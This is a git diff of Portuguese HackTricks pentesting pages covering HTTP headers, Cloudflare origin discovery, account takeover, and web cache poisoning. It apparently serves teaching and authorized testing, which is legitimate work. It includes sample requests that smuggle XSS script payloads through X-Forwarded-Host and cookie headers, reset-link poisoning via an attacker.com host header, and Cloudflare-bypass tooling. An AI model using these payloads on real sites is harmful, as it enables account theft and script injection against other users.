* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -19,7 +19,7 @@ Outras maneiras de apoiar o HackTricks:
* [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers)
* [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## Cabeçalhos para Alterar Localização
## Cabeçalhos para Alterar a Localização
Reescrever **IP de origem**:
@ -75,8 +75,8 @@ Um cabeçalho hop-by-hop é um cabeçalho projetado para ser processado e consum
* **`Age`** define o tempo em segundos que o objeto esteve em cache no proxy.
* **`Server-Timing: cdn-cache; desc=HIT`** também indica que um recurso foi armazenado em cache
{% content-ref url="../../pentesting-web/cache-deception.md" %}
[cache-deception.md](../../pentesting-web/cache-deception.md)
{% content-ref url="../../pentesting-web/cache-deception/" %}
[cache-deception](../../pentesting-web/cache-deception/)
{% endcontent-ref %}
**Cabeçalhos de Cache Local**:
@ -88,15 +88,15 @@ Um cabeçalho hop-by-hop é um cabeçalho projetado para ser processado e consum
## Condicional
* Solicitações usando esses cabeçalhos: **`If-Modified-Since`** e **`If-Unmodified-Since`** serão respondidas com dados apenas se o cabeçalho de resposta **`Last-Modified`** contiver um horário diferente.
* Solicitações condicionais usando **`If-Match`** e **`If-None-Match`** usam um valor Etag para que o servidor da web envie o conteúdo da resposta se os dados (Etag) tiverem mudado. O `Etag` é retirado da resposta HTTP.
* Solicitações usando estes cabeçalhos: **`If-Modified-Since`** e **`If-Unmodified-Since`** serão respondidas com dados apenas se o cabeçalho de resposta **`Last-Modified`** contiver um horário diferente.
* Solicitações condicionais usando **`If-Match`** e **`If-None-Match`** usam um valor Etag para que o servidor web envie o conteúdo da resposta se os dados (Etag) tiverem mudado. O `Etag` é retirado da resposta HTTP.
* O valor **Etag** é geralmente **calculado com base** no **conteúdo** da resposta. Por exemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que o `Etag` é o **Sha1** de **37 bytes**.
## Solicitações de Intervalo
* **`Accept-Ranges`**: Indica se o servidor suporta solicitações de intervalo e, em caso afirmativo, em qual unidade o intervalo pode ser expresso. `Accept-Ranges: <range-unit>`
* **`Range`**: Indica a parte de um documento que o servidor deve retornar.
* **`If-Range`**: Cria uma solicitação de intervalo condicional que é atendida apenas se o etag ou data fornecida corresponder ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
* **`If-Range`**: Cria uma solicitação de intervalo condicional que é atendida se o etag ou data fornecida corresponder ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
* **`Content-Range`**: Indica onde em uma mensagem de corpo completo uma mensagem parcial pertence.
## Informações do Corpo da Mensagem
@ -107,7 +107,7 @@ Um cabeçalho hop-by-hop é um cabeçalho projetado para ser processado e consum
* **`Content-Language`**: Descreve o(s) idioma(s) humano(s) destinado(s) ao público, permitindo que um usuário diferencie de acordo com o idioma preferido dos usuários.
* **`Content-Location`**: Indica uma localização alternativa para os dados retornados.
Do ponto de vista de um pentest, essas informações geralmente são "inúteis", mas se o recurso for **protegido** por um 401 ou 403 e você conseguir encontrar alguma **maneira** de **obter** essas **informações**, isso poderia ser **interessante**.\
Do ponto de vista de um pentest, essas informações geralmente são "inúteis", mas se o recurso for **protegido** por um 401 ou 403 e você conseguir encontrar alguma **maneira** de **obter** essas **informações**, isso pode ser **interessante**.\
Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação HEAD pode vazar o conteúdo da página via solicitações HEAD:
* Uma solicitação com o cabeçalho `Range: bytes=20-20` e com uma resposta contendo `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está vazando que o SHA1 do byte 20 é `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
@ -123,7 +123,7 @@ Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação H
## Downloads
* O cabeçalho **`Content-Disposition`** nas respostas HTTP direciona se um arquivo deve ser exibido **inline** (dentro da página da web) ou tratado como um **anexo** (baixado). Por exemplo:
* O cabeçalho **`Content-Disposition`** nas respostas HTTP direciona se um arquivo deve ser exibido **inline** (dentro da página da web) ou tratado como um **attachment** (baixado). Por exemplo:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -137,7 +137,7 @@ Content-Disposition: attachment; filename="filename.jpg"
### **Tipos Confiáveis**
Ao fazer cumprir Tipos Confiáveis através do CSP, as aplicações podem ser protegidas contra ataques DOM XSS. Os Tipos Confiáveis garantem que apenas objetos especificamente criados, em conformidade com políticas de segurança estabelecidas, possam ser usados em chamadas perigosas de API da web, garantindo assim o código JavaScript por padrão.
Ao fazer cumprir Tipos Confiáveis através do CSP, as aplicações podem ser protegidas contra ataques DOM XSS. Os Tipos Confiáveis garantem que apenas objetos especificamente elaborados, em conformidade com políticas de segurança estabelecidas, possam ser usados em chamadas perigosas de API da web, garantindo assim o código JavaScript por padrão.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -174,9 +174,9 @@ Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Política de Incorporação de Origem Cruzada (COEP) e Política de Origem Cruzada do Opener (COOP)**
### **Cross-Origin Embedder Policy (COEP) e Cross-Origin Opener Policy (COOP)**
COEP e COOP são essenciais para habilitar o isolamento de origem cruzada, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Eles controlam o carregamento de recursos de origens cruzadas e a interação com janelas de origens cruzadas, respectivamente.
COEP e COOP são essenciais para habilitar o isolamento entre origens, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Eles controlam o carregamento de recursos de origens diferentes e a interação com janelas de origens diferentes, respectivamente.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
@ -204,6 +204,6 @@ Outras formas de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -20,16 +20,16 @@ Outras maneiras de apoiar o HackTricks:
* O mesmo pode ser alcançado **verificando os certificados SSL históricos** que podem estar apontando para o endereço IP de origem.
* Verifique também os **registros de DNS de outros subdomínios apontando diretamente para IPs**, pois é possível que outros subdomínios estejam apontando para o mesmo servidor (talvez para oferecer FTP, e-mail ou qualquer outro serviço).
* Se você encontrar um **SSRF dentro da aplicação web**, pode abusá-lo para obter o endereço IP do servidor.
* Procure por uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
* De maneira semelhante, em vez de procurar por uma string única, você pode procurar pelo ícone de favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Procure uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
* De maneira semelhante, em vez de procurar uma string única, você pode procurar pelo ícone de favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Isso não funcionará com muita frequência porque o servidor deve enviar a mesma resposta quando é acessado pelo endereço IP, mas nunca se sabe.
## Ferramentas para descobrir o Cloudflare
## Ferramentas para Descobrir o Cloudflare
* Procure o domínio em [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou use a ferramenta [CloudPeler](https://github.com/zidansec/CloudPeler) (que usa essa API)
* Procure o domínio em [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou use a ferramenta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza essa API)
* Procure o domínio em [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) é uma ferramenta que pesquisará usando certificados Censys que contenham o nome de domínio, em seguida, procurará por IPv4s dentro desses certificados e, finalmente, tentará acessar a página da web nesses IPs.
* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r é uma poderosa ferramenta Python meticulosamente elaborada para descobrir o verdadeiro endereço IP de sites protegidos pelo Cloudflare e outras alternativas, um serviço amplamente adotado de segurança na web e aprimoramento de desempenho. Sua missão principal é discernir com precisão o endereço IP real de servidores da web que estão ocultos atrás do escudo protetor do Cloudflare.
* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r é uma poderosa ferramenta Python meticulosamente elaborada para descobrir o verdadeiro endereço IP de sites protegidos pelo Cloudflare e outras alternativas, um serviço amplamente adotado de segurança na web e aprimoramento de desempenho. Sua missão principal é discernir com precisão o endereço IP real dos servidores da web que estão ocultos atrás do escudo protetor do Cloudflare.
* [Censys](https://search.censys.io/)
* [Shodan](https://shodan.io/)
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
@ -47,9 +47,9 @@ echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
## Descobrindo o Cloudflare a partir de máquinas na nuvem
## Descobrindo o Cloudflare da infraestrutura na nuvem
Note que mesmo que isso tenha sido feito para máquinas AWS, poderia ser feito para qualquer outro provedor de nuvem.
Note que mesmo que isso tenha sido feito para máquinas da AWS, poderia ser feito para qualquer outro provedor de nuvem.
Para uma melhor descrição desse processo, confira:
@ -96,6 +96,12 @@ Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-v
* Use o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Use outros serviços de cache como [https://archive.org/web/](https://archive.org/web/)
### Ferramentas
Algumas ferramentas como as seguintes podem ignorar (ou foram capazes de ignorar) a proteção do Cloudflare contra scraping:
* [https://github.com/sarperavci/CloudflareBypassForScraping](https://github.com/sarperavci/CloudflareBypassForScraping)
### Solucionadores do Cloudflare
Vários solucionadores do Cloudflare foram desenvolvidos:
@ -125,9 +131,9 @@ Alguns deles são:
* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7\&aff_id=379\&url_id=32)
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) são conhecidos por seus mecanismos proprietários de bypass do Cloudflare.
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) são conhecidos por seus mecanismos proprietários de bypass do Cloudflare.
Para aqueles que buscam uma solução otimizada, o [Agregador de Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/) se destaca. Este serviço integra mais de 20 provedores de proxy em uma única API, selecionando automaticamente o proxy mais eficaz e econômico para seus domínios de destino, oferecendo assim uma opção superior para navegar pelas defesas do Cloudflare.
Para aqueles que buscam uma solução otimizada, o [Agregador de Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/) se destaca. Este serviço integra mais de 20 provedores de proxy em uma única API, selecionando automaticamente o proxy melhor e mais econômico para seus domínios de destino, oferecendo assim uma opção superior para navegar pelas defesas do Cloudflare.
### Engenharia Reversa da Proteção Anti-Bot do Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
@ -152,7 +158,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,4 +1,4 @@
# Assumir o Controle da Conta
# Assumir Controle de Conta
<details>
@ -6,11 +6,11 @@
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -30,15 +30,15 @@ Para mais detalhes, consulte o documento sobre Normalização Unicode:
## **Reutilização de Token de Redefinição**
Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback`, ou `scan.io`.
Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback` ou `scan.io`.
## **Pré Assumir o Controle da Conta**
## **Pré-Assumir Controle de Conta**
1. O e-mail da vítima deve ser usado para se inscrever na plataforma, e uma senha deve ser definida (uma tentativa de confirmá-la deve ser feita, embora a falta de acesso aos e-mails da vítima possa tornar isso impossível).
2. Deve-se aguardar até que a vítima se inscreva usando OAuth e confirme a conta.
3. Espera-se que a inscrição regular seja confirmada, permitindo o acesso à conta da vítima.
## **Configuração Incorreta de CORS para Assumir o Controle da Conta**
## **Configuração Incorreta de CORS para Assumir Conta**
Se a página contiver **configurações CORS incorretas**, você pode ser capaz de **roubar informações sensíveis** do usuário para **assumir sua conta** ou fazê-lo alterar informações de autenticação para o mesmo propósito:
@ -46,7 +46,7 @@ Se a página contiver **configurações CORS incorretas**, você pode ser capaz
[cors-bypass.md](cors-bypass.md)
{% endcontent-ref %}
## **CSRF para Assumir o Controle da Conta**
## **CSRF para Assumir Conta**
Se a página for vulnerável a CSRF, você pode ser capaz de fazer com que o **usuário modifique sua senha**, e-mail ou autenticação para então acessá-la:
@ -54,7 +54,7 @@ Se a página for vulnerável a CSRF, você pode ser capaz de fazer com que o **u
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
## **XSS para Assumir o Controle da Conta**
## **XSS para Assumir Conta**
Se você encontrar um XSS na aplicação, pode ser capaz de roubar cookies, armazenamento local ou informações da página da web que poderiam permitir que você assumisse a conta:
@ -80,7 +80,7 @@ Se você encontrar um XSS limitado ou assumir um subdomínio, você pode brincar
Se a resposta de autenticação puder ser **reduzida a um simples booleano, tente alterar false para true** e veja se obtém algum acesso.
## OAuth para Assumir o Controle da Conta
## OAuth para Assumir Conta
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
@ -90,21 +90,32 @@ Se a resposta de autenticação puder ser **reduzida a um simples booleano, tent
1. O cabeçalho Host é modificado após a iniciação de uma solicitação de redefinição de senha.
2. O cabeçalho de proxy `X-Forwarded-For` é alterado para `attacker.com`.
3. O Host, Referrer e Origin headers são alterados simultaneamente para `attacker.com`.
3. O Host, Referrer e Origin headers são simultaneamente alterados para `attacker.com`.
4. Após iniciar uma redefinição de senha e optar por reenviar o e-mail, todos os três métodos mencionados acima são empregados.
## Manipulação de Resposta
1. **Manipulação de Código**: O código de status é alterado para `200 OK`.
2. **Manipulação de Código e Corpo**:
- O código de status é alterado para `200 OK`.
- O corpo da resposta é modificado para `{"success":true}` ou um objeto vazio `{}`.
* O código de status é alterado para `200 OK`.
* O corpo da resposta é modificado para `{"success":true}` ou um objeto vazio `{}`.
Essas técnicas de manipulação são eficazes em cenários onde JSON é utilizado para transmissão e recebimento de dados.
## Alterar e-mail da sessão atual
De [este relatório](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
* Atacante solicita alterar seu e-mail por um novo
* Atacante recebe um link para confirmar a mudança do e-mail
* Atacante envia o link para a vítima clicar
* O e-mail da vítima é alterado para o indicado pelo atacante
* O ataque pode recuperar a senha e assumir a conta
## Referências
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
* [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)
<details>
@ -112,10 +123,10 @@ Essas técnicas de manipulação são eficazes em cenários onde JSON é utiliza
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,261 @@
# Envenenamento de Cache e Engano de Cache
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## A diferença
> **Qual é a diferença entre envenenamento de cache web e engano de cache web?**
>
> * No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> * No **engano de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
## Envenenamento de Cache
O envenenamento de cache tem como objetivo manipular o cache do lado do cliente para forçar os clientes a carregar recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, pois a resposta contaminada é servida exclusivamente aos usuários que visitam a página durante o período de contaminação do cache.
A execução de um ataque de envenenamento de cache envolve várias etapas:
1. **Identificação de Entradas Não-Chaveadas**: Estes são parâmetros que, embora não sejam necessários para que uma solicitação seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois elas podem ser exploradas para manipular o cache.
2. **Exploração das Entradas Não-Chaveadas**: Após identificar as entradas não-chaveadas, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que beneficie o atacante.
3. **Garantir que a Resposta Envenenada seja Armazenada em Cache**: O último passo é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acesse a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.
### Descoberta: Verificar cabeçalhos HTTP
Normalmente, quando uma resposta foi **armazenada em cache** haverá um **cabeçalho indicando isso**, você pode verificar quais cabeçalhos você deve prestar atenção neste post: [**Cabeçalhos de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descoberta: Códigos de erro de cache&#x20;
Se você suspeitar que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deveria ser respondido com um **código de status 400**. Em seguida, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você saberá que está vulnerável (e até poderia realizar um DoS).
Você pode encontrar mais opções em:
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
No entanto, observe que **às vezes esses tipos de códigos de status não são armazenados em cache** então este teste pode não ser confiável.
### Descoberta: Identificar e avaliar entradas não-chaveadas
Você poderia usar o [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **forçar parâmetros e cabeçalhos** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente para carregar o script de lá:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Obter uma resposta prejudicial do servidor back-end
Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanitizado** e **onde** está **sendo refletido** ou afetando a resposta do cabeçalho. Você consegue abusar de alguma forma (realizar um XSS ou carregar um código JS controlado por você? realizar um DoS?...)
### Obter a resposta em cache
Depois de ter **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar dele, você precisa obter a página em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, talvez seja necessário tentar por vários segundos.\
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi colocada em cache e o valor **`hit`** quando está em cache.\
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo colocado em cache e quando será a próxima vez que o recurso será colocado em cache novamente: `Cache-Control: public, max-age=1800`\
Outro cabeçalho interessante é o **`Vary`**. Esse cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache** mesmo que normalmente não sejam chaveados. Portanto, se o usuário conhece o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam esse `User-Agent` específico.\
Mais um cabeçalho relacionado ao cache é o **`Age`**. Ele define o tempo em segundos que o objeto está no cache do proxy.
Ao colocar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa** porque alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar o mesmo cabeçalho**. Sempre **teste** um Envenenamento de Cache com **navegadores diferentes** para verificar se está funcionando.
## Exemplos de Exploração
### Exemplo mais fácil
Um cabeçalho como `X-Forwarded-For` está sendo refletido na resposta sem ser sanitizado.\
Você pode enviar um payload básico de XSS e envenenar o cache para que todos que acessem a página sejam afetados pelo XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Nota que isso irá envenenar uma solicitação para `/en?region=uk` e não para `/en`_
### Envenenamento de cache para DoS
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
### Usando envenenamento de cache web para explorar vulnerabilidades de manipulação de cookies
Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, você poderá explorar o XSS em vários clientes que carregam a resposta de cache maliciosa.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
